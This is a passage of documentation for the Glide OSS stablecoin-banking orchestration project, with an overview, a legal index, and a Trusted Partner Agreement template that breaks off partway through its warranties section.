Source: https://glide-9da73dea.mintlify.app/oss/index
MIT-licensed orchestration shell for stablecoin neobank rails + agent banking. Self-host the code; bring your own vendors; contribute connectors and skills.
Glide OSS is the open-source orchestration shell behind [glide.co](https://glide.co) — a MIT-licensed full-stack codebase covering the web app, mobile app, MCP gateway, agent skills library, and trust console. Self-hosters bring their own vendor relationships (Privy, Bridge, Chainalysis, Coinbase x402, etc.); the code orchestrates them.
This is **not** a fully self-hostable bank stack. It is a self-hostable orchestration shell with explicit vendor dependencies. The honest framing matters because calling OSS a "money OS" without the vendor-dependency layer creates trust debt.
## What you can do with Glide OSS
Run your own Glide instance. Bring your own Privy tenant, Bridge contract, optional Chainalysis. npx create-glide-app to localhost in 90s.
Add a vendor adapter to the catalog. Manifest + capability impls + contract tests + 8-gate CI.
Package an MCP-callable agent capability. Manifest + policy template + consent flow + Trusted Skill Agreement at verified tier.
Public draft schemas for connector manifests, agent policy envelopes, scoped grant claims, receipts, skill manifests, trust tiers.
## Architecture at a glance
What's actually OSS vs what's a vendor dependency.
100% code parity target with explicit exceptions table.
F1–F7 architectural commitments enforced at every money-touching path.
The agent gateway: apps/mcp with 21 tools, OAuth 2.1, policy engine, append-only audit log.
## License + governance
* **MIT everywhere.** Web, mobile, MCP, every connector, every skill, the CLI. No copyleft anywhere in-tree.
* **DCO sign-off** on every commit (one-line Signed-off-by trailer, `git commit --signoff`).
* **BDFL at launch.** Single maintainer. Governance formalizes when community volume requires it.
* **CODEOWNERS-protected** changes for `_base/` interfaces, trust tier promotions, and money-safety architecture.
See [License compatibility](/oss/security/license-compatibility) for the dependency-license matrix.
## Trust tiers (quality, not licensing)
| Tier | When | Off by default? |
| ----------- | ----------------------------------------------------------- | --------------------------------- |
| `community` | Any first PR | Yes — opt-in via env + red banner |
| `verified` | Signed Trusted Partner / Skill Agreement + checklist review | No — per-tenant opt-in |
| `core` | Glide-maintained reference implementations | No — ships enabled |
Trust is **about code-review discipline**, not commercial gating. Every package ships under MIT regardless of tier. See [Trust tier](/oss/standards/trust-tier).
## Money-safety F-rules
Every money-touching tool path observes seven IRON-RULE contracts:
| Rule | What it enforces |
| ------ | -------------------------------------------------------------------------------------------------------- |
| **F1** | Server-side RPC verify of on-chain settlement. Persisted hash from RPC, never from facilitator receipt. |
| **F2** | CAS-claim before broadcast. Inngest re-fires never double-broadcast. |
| **F3** | Fresh-read tenant verification on every tool invocation. Cached grant alone never authorizes. |
| **F4** | Append-only audit log via Postgres trigger. UPDATE/DELETE rejected unless DSAR session var set. |
| **F5** | Atomic policy\_version bump on signer rotation. No in-flight tool call signs against rotated-out signer. |
| **F7** | Sigil first-use-only for URL-mode step-up. CAS-claimed; race losers reject. |
(F6 reserved.) Detail at [Money-safety contracts](/oss/concepts/money-safety-contracts).
## Where to start
* **Self-hoster** → [Quickstart](/oss/quickstart) → [Self-hosting](/oss/self-hosting)
* **Connector author** → [Connector catalog](/oss/connectors/index) → [Adding a connector](/oss/connectors/extending)
* **Skill author** → [Skill catalog](/oss/skills/index) → [Authoring a skill](/oss/skills/authoring)
* **Agent integrator** → [Headless MCP](/oss/headless/index) → [OAuth flow](/oss/headless/oauth-flow) → [Tool reference](/oss/headless/tool-reference)
* **Standards reader** → [Standards](/oss/standards/index)
* **Security reviewer** → [Threat model](/oss/security/threat-model) → [License compatibility](/oss/security/license-compatibility)
## Source code
[github.com/darshanbathija/axtior-neobank](https://github.com/darshanbathija/axtior-neobank) — the monorepo. Issues, PRs, discussions all there. CONTRIBUTING.md has the full partner-PR flow.
# OSS Legal
Source: https://glide-9da73dea.mintlify.app/oss/legal/index
Vendor postures and agreement templates for Glide OSS. Each artifact reviewed by independent Opus Legal Partner agents (avg 98.93/100). TPA and TSA are use-based consent — no countersign required.
Glide ships every legal artifact you need to operate the OSS stack with vendor adapters and partner integrations. Each one was reviewed by independent Opus-powered Legal Partner agents against a 12-axis framework; aggregate score across the five artifacts is **98.93 / 100**.
**The TPA and TSA are use-based consent instruments — no countersign required.** Promoting a Connector or Skill to the Verified Trust Tier (or maintaining it there for ≥30 days) is the act of acceptance. Same way you accept GitHub's TOS by pushing a commit. If your legal department requires a wet-signed counterpart for their files, email `legal@glide.co` and Glide will provide one — but it's not a condition of being a Trusted Partner. See §0 of each agreement for the formal mechanic.
The vendor-posture documents (Chainalysis, Coinbase x402, Ory) are operator-facing notices, not contracts — they describe what an Operator must hold contractually with the named third-party vendor.
## Artifacts
Template contract between Glide and a connector vendor whose adapter is promoted to the **Verified** trust tier. Covers code-quality SLA, incident-response timeline, mutual indemnification, marketplace placement, Glide's right to revoke Verified status for cause.
Template contract between Glide and a skill author whose agent skill is promoted to **Verified**. Lighter than the TPA. Heart of the agreement is prompt-injection review attestation, scope-minimization, and runtime envelope integrity.
Operator-facing notice + compliance brief for the Chainalysis sanctions-screening adapter. **Operator must hold their own Chainalysis customer agreement.** Glide is not a party.
Operator-facing notice + compliance brief for the Coinbase x402 facilitator adapter. Includes the F1 IRON RULE — facilitator-claimed transaction IDs are **never** trusted; the operator independently RPC-verifies on-chain before persisting.
Operator-facing notice + compliance brief for the OAuth Authorization Server (Ory Network hosted **or** self-hosted Hydra OSS). Both modes documented as equally valid.
## Framework
Each artifact was scored 0–10 across 12 axes:
| # | Axis |
| -- | ------------------------------ |
| 1 | Definitions clarity |
| 2 | Risk allocation |
| 3 | License grant scope |
| 4 | Compliance pass-through |
| 5 | Termination + survival |
| 6 | IP + confidentiality |
| 7 | Dispute resolution |
| 8 | Warranty + disclaimer |
| 9 | Operator obligations |
| 10 | Plain-language clarity |
| 11 | Compliance with applicable law |
| 12 | Anti-abuse + integrity |
Sum / 120 × 100. Pass at ≥ 95.
## Common framework defaults
* **Governing law:** Delaware
* **Venue:** JAMS arbitration in San Francisco, with carve-out for injunctive relief in any competent court
* **Class-action waiver:** yes
* **Attorney-fee reciprocity:** yes
* **Warranty:** AS IS / AS AVAILABLE; consequential damages excluded
* **MIT preservation:** the connector or skill code stays MIT regardless of TPA / TSA status — forks are explicitly permitted and not chillable
## Where the canonical files live
| Artifact | Canonical path in the source repo |
| --------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| TPA | [`docs/TRUSTED_PARTNER_AGREEMENT.md`](https://github.com/darshanbathija/axtior-neobank/blob/main/docs/TRUSTED_PARTNER_AGREEMENT.md) |
| TSA | [`docs/TRUSTED_SKILL_AGREEMENT.md`](https://github.com/darshanbathija/axtior-neobank/blob/main/docs/TRUSTED_SKILL_AGREEMENT.md) |
| Chainalysis posture | [`packages/connectors/chainalysis/{DISCLAIMER,COMPLIANCE}.md`](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/connectors/chainalysis) |
| Coinbase x402 posture | [`packages/connectors/coinbase-x402/{DISCLAIMER,COMPLIANCE}.md`](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/connectors/coinbase-x402) |
| Ory posture | [`docs/legal/ory-vendor-posture-{DISCLAIMER,COMPLIANCE}.md`](https://github.com/darshanbathija/axtior-neobank/tree/main/docs/legal) |
The pages below excerpt the substantive sections; for execution always use the canonical file.
# Trusted Partner Agreement (template, use-based consent)
Source: https://glide-9da73dea.mintlify.app/oss/legal/trusted-partner-agreement
Use-based consent contract between Glide and a Verified-tier connector vendor. No countersign required. Score: 96.67/100.
**Canonical source:** [`docs/TRUSTED_PARTNER_AGREEMENT.md`](https://github.com/darshanbathija/axtior-neobank/blob/main/docs/TRUSTED_PARTNER_AGREEMENT.md)
This page mirrors the canonical file. For execution, copy from the source repo to ensure latest revisions.
# Glide Trusted Partner Agreement
**Status:** Use-based consent. No countersign required.
**Form:** v1.1
**Last revised:** 2026-04-27
**Applies to:** Promotion of a connector from `community` tier to `verified` tier in the Glide Marketplace.
> **Plain-language summary (not part of the contract).** This is the agreement that lets a vendor's connector wear the Glide "Verified" badge, appear on the Marketplace, and ship enabled-by-default in Glide. It does NOT change the open-source license on the connector code — that stays MIT, and anyone can still fork it. What this agreement covers is the badge, the Marketplace placement, and the obligations that come with them: code-quality SLA, incident response, audit cooperation, and mutual indemnification. It does not bind end users or operators of self-hosted Glide deployments — they have their own separate terms with the partner.
>
> **You don't sign anything.** By having a Connector promoted to Verified-Tier in the Glide Marketplace and continuing to maintain it, you (the Partner) accept these terms — same way you accept GitHub's TOS by pushing a commit. See §0 Acceptance below for the formal mechanic. If you'd rather have a wet-signed countersigned copy on file (some legal departments require it), Glide will provide one on request — but it's not required to be a Trusted Partner.
>
> **How this Agreement is structured.**
>
> * §1 Definitions — what each capitalized term means.
> * §§2–3 Promotion + license posture — what Verified Tier is, and why MIT still wins.
> * §§4–5 Mutual trademark licenses — Verified Mark to Partner, Partner Marks to Glide.
> * §§6–8 Partner operational obligations — code quality, incident response, audit cooperation.
> * §§9–10 Confidentiality + compliance — info handling and legal posture.
> * §11 Term, renewal, termination, revocation — including the 14-day non-emergency / immediate-emergency split.
> * §§12–14 Risk allocation — warranties, indemnity, liability cap.
> * §15 Disputes — Delaware law + JAMS SF arbitration with court carve-out for injunctive relief.
> * §16 Boilerplate — including the explicit "Operators are not parties" clause.
> * Schedules A–B — Connector reference card, side-letter slot for optional commercial extensions.
***
## Parties
This Trusted Partner Agreement (this "**Agreement**") governs the relationship between:
* **Glide:** Axtior, Inc., a Delaware corporation ("**Glide**"); and
* **Partner:** the legal entity that owns or controls the Connector identified by `[CONNECTOR_SLUG]` and whose Connector is promoted to Verified Tier in the Marketplace ("**Partner**").
Glide and Partner are each a "**Party**" and together the "**Parties**." This Agreement governs the promotion of the Connector identified below from `community` tier to `verified` tier in the Glide ecosystem.
***
## 0. Acceptance — How This Agreement Becomes Effective
0.1. **No countersign required.** Glide intentionally distributes this Agreement as a use-based consent instrument rather than a wet-signed contract. Partner accepts this Agreement by performing **any one** of the following acts after this version of the Agreement (Form v1.1) is published at `glide.co/docs/oss/legal/trusted-partner-agreement`:
(a) requesting promotion of the Connector from `community` to `verified` Trust Tier (whether by GitHub PR, email, or in-product flow);
(b) maintaining the Connector at Verified Trust Tier for any continuous period of 30 days after this Form's publication; or
(c) using the Verified Mark in any public-facing materials (website, README, marketplace listing, conference signage, or otherwise).
0.2. **Effective Date.** This Agreement becomes effective with respect to Partner on the earliest date Partner performs an act described in §0.1 (the "**Effective Date**"). Where this Agreement refers to "the Effective Date" or "as of the Effective Date," that reference is to this date.
0.3. **Authority.** The natural person taking the act described in §0.1 represents that they have authority to bind Partner. Partner agrees that Glide may rely on that representation without further inquiry.
0.4. **Form bumps.** Glide may publish a new Form of this Agreement at any time at the URL above. A Form bump that increases Partner's obligations becomes effective for an existing Verified Connector only when Partner first performs an act described in §0.1 with respect to the new Form (typically the next Major Release of the Connector or 60 days after publication, whichever is earlier). Until then, the prior Form continues to govern.
0.5. **Optional countersigned counterpart.** If Partner's counsel requires a wet-signed counterpart, Partner may request one from `legal@glide.co` and Glide will provide a counterpart on Glide letterhead, signed by an authorized officer of Glide, with a Partner signature block for Partner's countersign. The countersigned counterpart is a *record* of acceptance, not a *condition* of acceptance — the use-based mechanic in §0.1 is the operative one.
0.6. **Withdrawal.** Partner may withdraw acceptance prospectively at any time by either (i) requesting demotion of the Connector to `community` Trust Tier, or (ii) ceasing all use of the Verified Mark and notifying Glide at `legal@glide.co`. Withdrawal does not relieve Partner of obligations that accrued during the term, including any indemnity, confidentiality, or accrued-fees obligations that survive under §11.6.
***
## 1. Definitions
Capitalized terms have the meanings given below. Defined terms are also referenced inline at first use elsewhere in this Agreement for ease of reading.
1.1. "**Glide Software**" means the open-source orchestration shell distributed by Glide under the MIT License at `[GLIDE_REPO_URL]`, including all packages, applications, and components published from that repository.
1.2. "**Connector**" means the source-code package located at `packages/connectors/[CONNECTOR_SLUG]/` in the Glide Software, together with its manifest, capability implementations, contract tests, and accompanying documentation, that integrates a Partner-controlled service into the Glide Software.
1.3. "**Connector Slug**" means `[CONNECTOR_SLUG]`, the canonical identifier of the Connector as registered in the Glide manifest tree.
1.4. "**Partner Service**" means the underlying Partner-operated product, API, or platform that the Connector integrates with.
1.5. "**Trust Tier**" means a quality classification assigned to a Connector by Glide, having the values `community`, `verified`, or `core`, as defined in `packages/connectors/_base/src/trust-tier.ts`. Trust Tier is a code-quality classification and is not a license-tier or commercial gating mechanism.
1.6. "**Verified Tier**" means the `verified` Trust Tier value, signifying that (a) the Connector has passed the Glide review checklist, (b) Partner has executed this Agreement, and (c) the Connector ships enabled in default Glide builds with per-tenant opt-in.
1.7. "**Verified Mark**" means the visual badge, label, and textual designation "Glide Verified," "Verified Connector," or substantially similar designation, displayed by Glide on the Marketplace and within the Glide Software to identify Verified-Tier Connectors.
1.8. "**Marketplace**" means the public-facing catalog of connectors and skills hosted by Glide at `glide.co/connectors`, `docs.glide.dev`, and any successor URL designated by Glide, together with any in-product surfaces within the Glide Software that render the same catalog data.
1.9. "**Marketplace Listing**" means the Connector's entry in the Marketplace, including its rendered card, detail page, Verified Mark, Partner Marks, and metadata sourced from the Connector's manifest.
1.10. "**Operator**" means any natural person or entity that deploys, hosts, operates, or otherwise runs the Glide Software (including any fork or derivative) for itself or for end users, whether on Glide-operated infrastructure ("Glide Cloud") or on infrastructure controlled by the Operator ("Self-Hosted").
1.11. "**Self-Hoster**" means an Operator running the Glide Software on infrastructure not controlled by Glide.
1.12. "**End User**" means any natural person or entity that uses an instance of the Glide Software made available by an Operator, whether or not that End User has a contractual relationship with Partner.
1.13. "**Major Release**" means a release of the Connector whose version number reflects a backwards-incompatible change to its public manifest, capability surface, or webhook contracts (i.e., a major-version SemVer bump).
1.14. "**Partner Marks**" means the Partner trademarks, service marks, logos, and trade names that Partner authorizes Glide to display on the Marketplace Listing pursuant to Section 5.
1.15. "**Glide Marks**" means the trademarks, service marks, logos, and trade names of Glide, including the Verified Mark.
1.16. "**Confidential Information**" has the meaning given in Section 9.
1.17. "**Code-Quality SLA**" has the meaning given in Section 6.
1.18. "**Incident**" has the meaning given in Section 7.
1.19. "**Effective Date**" has the meaning given in §0.2.
1.20. "**MIT License**" means the version of the MIT License under which the Glide Software is distributed, a copy of which is available in the `LICENSE` file at the root of the Glide Software repository.
1.21. "**Trusted Partner**" means a Partner that has executed this Agreement and whose Connector currently holds Verified-Tier status. The phrase is used as a descriptive label in marketing materials and in the Marketplace; it confers only the rights expressly granted in this Agreement.
1.22. "**Side Letter**" means a separately-executed written agreement between the Parties that references this Agreement and addresses Glide-Cloud-only commercial extensions (such as review grants, sponsored placement, or payout integrations). A Side Letter is optional and is not required for Verified-Tier status.
1.23. "**Fees**" means amounts (if any) that one Party agrees in writing to pay the other under a Side Letter. No Fees are owed under this Agreement absent a signed Side Letter.
***
## 2. Verified-Tier Promotion
2.1. **Scope of promotion.** Subject to the terms of this Agreement, Glide will promote the Connector identified by `[CONNECTOR_SLUG]` from `community` Trust Tier to `verified` Trust Tier in the Glide Software for the version range `[CONNECTOR_VERSION_RANGE]`, and will display the Verified Mark and the Marketplace Listing for that version range.
2.2. **One Agreement per Major Release.** This Agreement governs the Connector at the Major Release identified above. A new Major Release of the Connector requires either (a) a written renewal addendum referencing this Agreement, or (b) a new Trusted Partner Agreement on the then-current form. Until such renewal or new agreement is executed, the new Major Release ships at `community` Trust Tier with the standard banner, regardless of any prior Verified-Tier status.
2.3. **No exclusivity.** Nothing in this Agreement grants either Party an exclusive right. Glide may verify other connectors that integrate competing services. Partner may participate in similar programs operated by other software platforms.
2.4. **No fee, default.** Marketplace placement is offered at no fee for partners whose Connector touches regulated money movement (e.g., custody, banking-as-a-service, on/off-ramps, payment rails). Optional commercial extensions (Glide-Cloud-only review grants, payout integrations, sponsored-placement features) are addressed in a separate side letter referencing this Agreement; absence of such a side letter means no fee is owed by either Party for the rights granted herein.
***
## 3. Open-Source License Posture
3.1. **Connector code remains MIT.** The source code of the Connector is distributed under the MIT License as part of the Glide Software. Nothing in this Agreement modifies, restricts, or supersedes that license. Any person or entity, including Partner's competitors, may fork, modify, redistribute, and use the Connector code under the MIT License regardless of Trust Tier or the existence or termination of this Agreement.
3.2. **No chilling effect.** Glide will not invoke this Agreement, nor any breach or termination thereof, to restrict any person's rights under the MIT License with respect to the Connector code. Partner's promotional rights are separate from, and do not condition, the open-source rights of any third party.
3.3. **Contributions under DCO.** Any contribution Partner makes to the Connector or the Glide Software through pull request, patch, or otherwise will be made under the MIT License and signed off under the Developer Certificate of Origin (DCO), version 1.1. Partner represents that each contributor authorized to submit on Partner's behalf has the right to do so.
3.4. **What this Agreement does cover.** This Agreement covers (a) the Verified Mark, (b) the Marketplace Listing, (c) the Partner Marks license to Glide for Marketplace display, (d) the Code-Quality SLA, (e) the Incident response process, (f) confidentiality of incident reports and audit findings, (g) mutual indemnification within the agreed scope, and (h) the operational obligations between the Parties associated with Verified-Tier status.
***
## 4. Verified Mark — License from Glide to Partner
4.1. **Limited license.** Subject to Partner's continuing compliance with this Agreement, Glide grants Partner a non-exclusive, non-transferable, non-sublicensable, royalty-free, revocable license, during the Term, to use the Verified Mark solely (a) on Partner's website, marketing materials, and case studies, in each case in connection with truthful statements about the Connector's Verified-Tier status, and (b) in co-marketing materials prepared in coordination with Glide.
4.2. **Brand guidelines.** Partner will use the Verified Mark in conformance with Glide's then-current brand guidelines, made available at `[GLIDE_BRAND_GUIDELINES_URL]`. Glide may update those guidelines on at least 30 days' notice.
4.3. **Reservation of rights.** Glide retains all right, title, and interest in and to the Verified Mark and the Glide Marks. No rights are granted to Partner other than those expressly stated in this Section 4. Partner will not register, attempt to register, or contest Glide's ownership of any Glide Marks.
4.4. **Quality control.** Partner acknowledges that Glide must maintain control over the quality of goods and services associated with the Verified Mark. Glide may audit Partner's use of the Verified Mark and require correction of any non-conforming use within 14 days of notice.
***
## 5. Partner Marks — License from Partner to Glide
5.1. **Limited license.** Subject to the terms of this Agreement, Partner grants Glide a non-exclusive, worldwide, non-transferable (except as provided in Section 14.5), royalty-free license, during the Term, to use the Partner Marks (a) on the Marketplace Listing for the Connector, (b) in the in-product Glide Software UI in connection with the Connector, (c) in Glide-prepared documentation, blog posts, case studies, and other communications referring truthfully to Partner as a Trusted Partner, and (d) in co-marketing materials prepared in coordination with Partner.
5.2. **Reservation of rights.** Partner retains all right, title, and interest in and to the Partner Marks. No rights are granted to Glide other than those expressly stated in this Section 5.
5.3. **Brand guidelines.** Glide will use the Partner Marks in conformance with Partner's then-current brand guidelines, provided in writing to Glide. Partner may update those guidelines on at least 30 days' notice.
5.4. **Self-Hosted display.** Partner acknowledges that the Glide Software is open-source, and that Self-Hosters render the Marketplace Listing (including Partner Marks) from manifest data shipped in the Glide Software. The license in Section 5.1 extends to such Self-Hosted display when the Connector retains Verified-Tier status. If Verified-Tier status is revoked under Section 11 or this Agreement terminates, Partner Marks remain in any historical release artifacts of the Glide Software (because removing them from past releases is not feasible for an open-source project), but Glide will (a) revert the manifest in the then-current release branches to non-Verified Trust Tier, (b) remove the Partner Marks from the live Marketplace at `glide.co/connectors`, and (c) prevent further use of the Partner Marks in new Glide-prepared materials. Partner waives any claim against Glide arising solely from the persistence of Partner Marks in historical release artifacts.
***
## 6. Code-Quality SLA
6.1. **Maintenance commitments.** During the Term, Partner will:
(a) Keep the Connector functional against the then-current release of the Partner Service, including timely updates to track non-trivial Partner Service API changes;
(b) Maintain passing contract tests against the Glide contract-test harness (per `packages/connectors/_base/src/contract-test-suite.ts`) for the Connector at every Major Release covered by this Agreement;
(c) Maintain accurate manifest metadata, including declared egress hosts, capabilities, supported regions, and supported currencies; and
(d) Designate at least one Partner technical contact for the Connector and keep that contact information current with Glide.
6.2. **Vulnerability patch SLA.** Partner will, upon becoming aware of a security vulnerability in the Connector or in the manner in which the Connector is integrated:
(a) Issue or coordinate a patch within **72 hours** for vulnerabilities classified as Critical (CVSS v3.1 base score 9.0–10.0, or otherwise reasonably classified as Critical by either Party);
(b) Issue or coordinate a patch within **7 calendar days** for vulnerabilities classified as High (CVSS v3.1 base score 7.0–8.9, or otherwise reasonably classified as High);
(c) Issue or coordinate a patch within **30 calendar days** for vulnerabilities classified as Medium or Low; and
(d) Cooperate in good faith with Glide on coordinated disclosure timing and language.
6.3. **No malicious code.** Partner represents and warrants that the Connector does not, and during the Term will not, contain (a) malicious code, viruses, worms, time bombs, or trojan horses, (b) telemetry, beacons, or analytics that exfiltrate End User data outside the declared egress hosts in the Connector manifest, (c) cryptocurrency miners, (d) hidden backdoors or undisclosed authentication bypass mechanisms, or (e) license-evasion mechanisms designed to defeat Glide's CI gates.
6.4. **CI gate compliance.** Partner agrees that the Connector must continue to pass the eight-gate CI matrix specified in `.github/workflows/connector-skill-ci.yml` and related workflows, including manifest validation, contract tests, license-compatibility scan, supply-chain scan, egress-host lint, DCO sign-off, and signed-commits check. Glide may add or modify gates on at least 60 days' notice; failure to pass after the notice period is grounds for revocation under Section 11.
***
## 7. Incident Response
7.1. **Definition.** An "**Incident**" means any of: (a) a security vulnerability in the Connector requiring patch under Section 6.2; (b) a Partner Service outage that materially affects Connector functionality; (c) a regulatory notice, action, or inquiry directed at Partner that materially impairs Partner's ability to operate the Partner Service in the Connector's declared regions; or (d) a confirmed compromise of Partner systems that could affect the integrity of Partner Service responses to Glide Software instances.
7.2. **Notification.** Each Party will notify the other of an Incident affecting the Connector without undue delay and in any case:
(a) Within **24 hours** for Critical Incidents (Section 6.2(a) class);
(b) Within **72 hours** for High Incidents (Section 6.2(b) class); and
(c) Within **5 business days** for Medium or Low Incidents.
7.3. **Cooperation.** The Parties will cooperate in good faith on Incident response, including (a) joint root-cause analysis where feasible, (b) coordinated public disclosure where required, (c) deployment of fixes via the Connector release pipeline, and (d) mitigation guidance for Operators.
7.4. **Operator and End User communications.** Glide may publish Incident advisories to Operators and the public, including in the Marketplace and in the Glide changelog, after coordinating disclosure language with Partner where reasonably practicable. Where regulatory or contractual obligations require faster disclosure than coordination allows, the disclosing Party will proceed with disclosure and notify the other Party as soon as feasible.
***
## 8. Audit Cooperation
8.1. **Compliance artifact requests.** Up to twice per twelve-month period, with at least 30 days' written notice and at no charge to Partner, Glide may request from Partner reasonable compliance artifacts pertaining to the Connector and the underlying Partner Service, limited to the categories applicable to Partner's regulated activities. Examples include: SOC 2 Type II report (or equivalent), KYC/AML program summary, sanctions-screening policy summary, breach-notification policy, and most recent penetration-test summary.
8.2. **Source review of the Connector.** Because the Connector is open-source, no separate source review is required for the Connector itself. Glide and any third party may review the Connector source at any time.
8.3. **Operator audits.** Where an Operator (including a Self-Hoster) requests Partner audit cooperation pursuant to that Operator's separate agreement with Partner, this Section 8 does not displace that obligation; this Agreement governs only the cooperation between Glide and Partner.
8.4. **Confidentiality of audit materials.** Materials provided under this Section 8 are Confidential Information of Partner under Section 9, and Glide will limit access to its personnel with a need-to-know.
***
## 9. Confidentiality
9.1. **Definition.** "**Confidential Information**" means non-public information disclosed by one Party (the "**Discloser**") to the other (the "**Recipient**") that is identified as confidential at disclosure or that a reasonable person would understand to be confidential under the circumstances, including (a) Incident reports prior to coordinated disclosure, (b) audit materials provided under Section 8, (c) commercial terms in any side letter referencing this Agreement, and (d) prerelease product roadmap details exchanged between the Parties.
9.2. **Exclusions.** Confidential Information does not include information that (a) is or becomes publicly available without breach of this Agreement, (b) was in Recipient's possession before receipt from Discloser, (c) is independently developed by Recipient without use of Confidential Information, or (d) is rightfully received from a third party without confidentiality obligation. The source code of the Connector and any other portion of the Glide Software is not Confidential Information.
9.3. **Obligations.** Recipient will (a) use Confidential Information only to exercise rights and perform obligations under this Agreement, (b) protect it with the same care it uses for its own confidential information, in no event less than reasonable care, and (c) not disclose it to any third party except to its employees, affiliates, contractors, and professional advisers bound by confidentiality obligations no less protective than those in this Section 9.
9.4. **Compelled disclosure.** Recipient may disclose Confidential Information to the extent required by law, court order, or regulatory authority, provided that, where legally permissible, it gives Discloser prompt notice and reasonable cooperation to seek a protective order or equivalent.
9.5. **Term.** Confidentiality obligations under this Section 9 survive expiration or termination of this Agreement for **three (3) years**, except that obligations relating to information constituting trade secrets continue for as long as such information remains a trade secret under applicable law.
***
## 10. Compliance with Applicable Law
10.1. **Partner regulatory posture.** Partner represents and warrants that, with respect to the Partner Service and any activity of the Partner Service that the Connector exposes to Glide Software instances, Partner holds and will maintain all licenses, registrations, and authorizations required by applicable law, including any required money-transmission licenses, banking partnerships, virtual-asset-service-provider registrations, or equivalents in the regions where Partner offers the Partner Service.
10.2. **KYC/AML and sanctions.** Where the Connector exposes capabilities that touch fiat or stablecoin movement on or off the Partner Service (deposits, withdrawals, transfers, swaps, custody), Partner warrants that it operates a Know-Your-Customer / Anti-Money-Laundering program reasonably designed to comply with applicable law, including (a) registration with the Financial Crimes Enforcement Network (FinCEN) as a money services business, money transmitter, or other applicable status where required by 31 C.F.R. Chapter X, (b) state money-transmitter licensure (or qualifying bank-partnership coverage under applicable state laws) in U.S. states where Partner offers covered services to U.S. End Users, (c) sanctions screening against the Office of Foreign Assets Control (OFAC) Specially Designated Nationals list, and (d) equivalent registration, licensure, and screening obligations in the non-U.S. jurisdictions where Partner operates (including Financial Action Task Force-aligned regimes).
10.3. **Glide is not a regulated party.** Partner acknowledges that Glide is a software vendor and not a money transmitter, bank, broker-dealer, virtual-asset-service-provider, or other regulated financial institution by virtue of distributing the Glide Software or maintaining the Marketplace. The Glide Software is the orchestration shell; regulated activity occurs at the Partner Service.
10.4. **Operator responsibility.** Operators are responsible for their own compliance posture, including their relationships with Partner. Nothing in this Agreement makes Glide a party to those relationships.
10.5. **Export controls.** Each Party will comply with applicable export-control and economic-sanctions laws of the United States and other jurisdictions where it operates, including the U.S. Export Administration Regulations and the regulations administered by OFAC. Neither Party will provide access to the rights granted under this Agreement to a person or entity (a) located in or ordinarily resident in a comprehensively sanctioned country or region, or (b) appearing on a denied-party or sanctioned-party list of a competent authority.
10.6. **Data protection.** Where Partner processes personal data of End Users in connection with the Partner Service, Partner will comply with applicable data-protection laws, including the General Data Protection Regulation (EU) 2016/679 (GDPR), the United Kingdom General Data Protection Regulation as supplemented by the Data Protection Act 2018 (UK GDPR), the California Consumer Privacy Act of 2018 as amended by the California Privacy Rights Act of 2020 (CCPA/CPRA), and analogous comprehensive privacy statutes in other U.S. states (including Virginia, Colorado, Connecticut, Utah, and Texas) and other jurisdictions, in each case as applicable to Partner's processing. Glide does not, by virtue of this Agreement, exchange End User personal data with Partner; any such exchange occurs in the Operator-Partner relationship, not in the Glide-Partner relationship, and Operator-Partner data-processing addenda (where required) are negotiated separately between the Operator and Partner.
***
## 11. Term, Renewal, Termination, and Revocation of Verified Status
11.1. **Term.** The initial term of this Agreement is **one (1) year** from the Effective Date (the "**Initial Term**"). The Agreement automatically renews for successive **one (1) year** terms (each a "**Renewal Term**" and, together with the Initial Term, the "**Term**") unless either Party gives written notice of non-renewal at least **60 days** before the end of the then-current term.
11.2. **Termination for material breach.** Either Party may terminate this Agreement for the other Party's material breach if the breaching Party fails to cure within **30 days** after written notice describing the breach in reasonable detail.
11.3. **Termination for insolvency or regulatory action.** Either Party may terminate this Agreement immediately on written notice if the other Party (a) becomes insolvent, files for bankruptcy, or has a petition filed against it that is not dismissed within 60 days; (b) makes an assignment for the benefit of creditors; or (c) receives a regulatory action that prohibits the other Party from performing material obligations under this Agreement.
11.4. **Termination for convenience.** Either Party may terminate this Agreement for convenience on at least **60 days** prior written notice.
11.5. **Revocation of Verified status (without termination).** In addition to its termination rights, Glide may revoke Verified-Tier status for the Connector ("**Revocation**") for cause, including (a) repeated or unremediated failure to meet the Code-Quality SLA, (b) malicious code or undisclosed telemetry in the Connector, (c) failure to respond to a Critical Incident within Section 7.2 timelines, or (d) regulatory action against Partner that materially impairs the Partner Service.
(i) **Non-emergency Revocation.** Glide will give Partner at least **14 days'** prior written notice and a reasonable opportunity to cure where cure is feasible. If Partner cures within the notice period, Verified-Tier status will be retained.
(ii) **Emergency Revocation.** Glide may revoke Verified-Tier status immediately, without prior notice, where Glide reasonably believes that immediate revocation is necessary to protect Operators or End Users from material harm (including active exploitation of a Critical vulnerability or confirmed presence of malicious code). Glide will provide written notice and a description of the basis as soon as practicable thereafter.
(iii) **Effect of Revocation.** Following Revocation, the Connector reverts to `community` Trust Tier, with the standard red banner, and Partner Marks are removed from the live Marketplace per Section 5.4. Revocation does not, by itself, terminate this Agreement; the Agreement remains in effect for any obligations that survive Revocation (e.g., confidentiality, indemnity for events occurring during Verified-Tier status).
11.6. **Survival.** The following Sections survive expiration or termination of this Agreement: 1 (Definitions), 3.1 (Connector code remains MIT), 3.2 (No chilling effect), 5.4 (final two sentences regarding historical artifacts and Partner Marks waiver), 9 (Confidentiality, for the term stated therein), 11.5(iii) (Effect of Revocation), 11.6 (Survival), 12 (Warranties and Disclaimers, with respect to events occurring during the Term), 13 (Indemnification, with respect to claims arising from events occurring during the Term), 14 (Limitation of Liability), 15 (Dispute Resolution and Governing Law), and 16 (General Provisions). Accrued payment and other obligations as of the effective date of expiration or termination also survive.
***
## 12. Warranties and Disclaimers
12.1. **Mutual authority warranty.** Each Party represents and warrants to the other that (a) it has full power and authority to enter into and perform this Agreement, (b) execution and performance do not violate any other agreement to which it is bound, and (c) the individual signing on its behalf has authority to do so.
12.2. **Partner warranties.** Partner represents and warrants that:
(a) the Connector is functional in its declared capabilities at the Major Release covered by this Agreement, in all material respects;
(b) the Partner Service is operated in compliance with applicable law in the regions declared in the Connector manifest, as further described in Section 10;
(c) the Connector does not contain malicious code or undisclosed telemetry, as set out in Section 6.3; and
(d) Partner owns or has sufficient rights in the Partner Marks to grant the license in Section 5.
12.3. **Glide warranties.** Glide represents and warrants that:
